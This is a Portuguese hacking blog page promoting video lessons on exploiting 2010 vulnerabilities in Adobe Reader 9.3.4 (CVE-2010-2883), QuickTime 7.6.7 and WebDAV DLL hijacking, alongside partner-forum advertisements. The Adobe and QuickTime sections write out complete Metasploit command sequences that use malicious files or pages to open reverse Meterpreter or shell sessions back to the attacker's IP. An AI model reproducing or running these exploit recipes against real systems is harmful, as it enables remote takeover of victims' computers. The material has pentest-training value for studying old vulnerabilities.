Blog do whit3_sh4rk (WeSk)

WeSk é uma espécie de blog que traz conteúdos sobre informática de forma dinâmica e descontraída. O objetivo é distribuir e adquirir conhecimento através de conteúdos desenvolvidos pelo próprio autor da página (whit3_sh4rk), pesquisas e através de contribuições dos leitores e parceiros.

A página contém textos sobre Windows/Windows Server, Linux, Programação, entre outros assuntos. Algumas ferramentas e em alguns casos seus respectivos códigos-fonte são distribuídos pelo autor da página. Algumas vídeo-aulas com os mais diversos assuntos (vulnerabilidades, pentest, programação, etc) são indicadas com os devidos créditos aos autores das mesmas.

Visite, participe e contribua!

http://www.wesk.info/wp/

Parceiro do Blog.

Vulnerabilidade no Adobe Reader 9.3.4(0day)

Mais uma vulnerabilidade no Adobe reader (CVE-2010-2883), dessa vez do tipo 0day. Olhando os novos exploits apos uma atualização do metasploit, encontrei esse e resolvi fazer uma aula, a versão do adobe usada na aula foi a 9.3.4 ultima versão disponível e o sistema operacional alvo "Windows 7" mas funciona em versões anteriores. Mas uma vez o Metasploit na frente de seus concorrentes... :P

Comandos:

use exploit/windows/fileformat/adobe_cooltype_sing

set payload windows/meterpreter/reverse_tcp

set lhost IP

exploit

use multi/handler

Sobre o Vídeo: 

Formato:  AVI
Tamanho:  18.8 MB
Duração: 5:59 min
Musica:  Carl Orff - Carmina Burana - O Fortuna

Baixar: http://www.4shared.com/file/rs2S7DBz/Vulnerabilidade_no_Adobe_934_0.html

Ref:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-2883
http://www.osvdb.org/67849
http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html
http://www.adobe.com/support/security/advisories/apsa10-02.html

Metasploit - Vulnerabilidade no QuickTime 7.6.7 (0day)

Nessa aula mostro como explorar a vulnerabilidade no QuickTime, essa vulnerabilidade e classificada de 0day e afeta todas as versões do QuickTime e do Windows. Ela foi descoberta pelo Investigador de segurança Ruben Santamarta.

Comandos:

use exploit/windows/browser/apple_quicktime_marshaled_punk

set SRVHOST SeuIP
set SRVPORT 80
set URIPATH /
set payload windows/shell/reverse_tcp
set LHOST SeuIP
set LPORT 5050
exploit

Sobre o Vídeo:
Formato:  AVI
Tamanho: 8.2 MB
Duração: 3:57 min
Musica: Mantenha o Respeito - Marcelo D2 
Baixar: http://www.4shared.com/file/eKgQCHTr/0day-quicktime.html




Referencia:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-1818
http://www.osvdb.org/67705
http://reversemode.com/index.php?option=com_content&task=view&id=69&Itemid=1

Fórum Underground

O Fórum Underground é um espaço novo sobre assuntos avançados de informática, onde a admissão é restringido a critérios de seleção e de conhecimento na área de TI.
O fórum não se encontra aberto para consulta e leitura de artigos sem registo e aceitação por parte da atual Administração do mesmo.

Quem faz parte da nossa comunidade tem à sua disposição artigos avançados sobre segurança em redes, linguagem de programação, material de estudo e de apoio à universidade assim como um leque restrito de staff que ajudam os membros nas dúvidas que possam surgir.

Pretendemos ser um fórum de referência mundial e para isso tratamos dos nossos membros da melhor forma possível, projetando novas atividades de estudo e disponibilizando conteúdo que dificilmente vai encontrar eu outros fóruns, para isso funcionamos à porta fechada onde só os "bons" têm acesso às últimas novidade em tecnologia informática.

Atreve-te e faz parte da nossa equipa, pretendemos recrutar sempre os melhores técnicos e engenheiros para as fileiras do nosso fórum, de forma a estar no top.

Fórum: http://ssl.forum-underground.com/
Contato: http://ssl.forum-underground.com/forum/sendmessage.php
INEM (Admin): http://ssl.forum-underground.com/forum/member.php?1-INEM
Bhior: http://ssl.forum-underground.com/forum/member.php?9-Bhior

Parceiro do Blog.

SET + Metasploit - WebDAV DLL hijacker

Nessa aula mostro com explorar WebDAV DLL hijack usando o SET integrado com Metasploit.


Sobre o Vídeo:
Formato:  AVI
Tamanho: 12.5 MB
Duração: 3:12 min
Musica: Toca uma regueira aí - Armandinho

Baixar: http://www.4shared.com/file/X6cJru8-/SET-DLL_Hijacker.html

Ref:
http://blog.zoller.lu/2010/08/cve-2010-xn-loadlibrarygetprocaddress.html
http://www.acrossecurity.com/aspr/ASPR-2010-08-18-1-PUB.txt

Reverse Egineering Brazil

Encontre dicas, artigos, ferramentas, desafios, e-books, unpacking, keygenning, vídeos tutorias e muito
mais coisas relacionadas a Engenharia Reversa, como também análise de malwares e programação voltada para RE.

Reverse Egineering Brazil é um novo conceito de um lugar sério para estudos sobre RE, juntos aprendemos
e juntos ensinamos, tudo que é necessário para se dar largada nesse mundo de RE.

Fórum: http://www.re-b.net/home/index.php
unn4 (Admin): http://www.re-b.net/home/memberlist.php?mode=viewprofile&u=2
Bhior: http://www.re-b.net/home/memberlist.php?mode=viewprofile&u=59

Parceiro do Blog.

Metasploit - Mudando o Banner

Vídeo aula simples de como trocar o banner do metasploit, a aula foi feita a pedido de um usuario do blog. Qualquer duvida reporte abaixo.

Baixar: http://www.4shared.com/file/Yp_AdMBB/Mudando_banner.html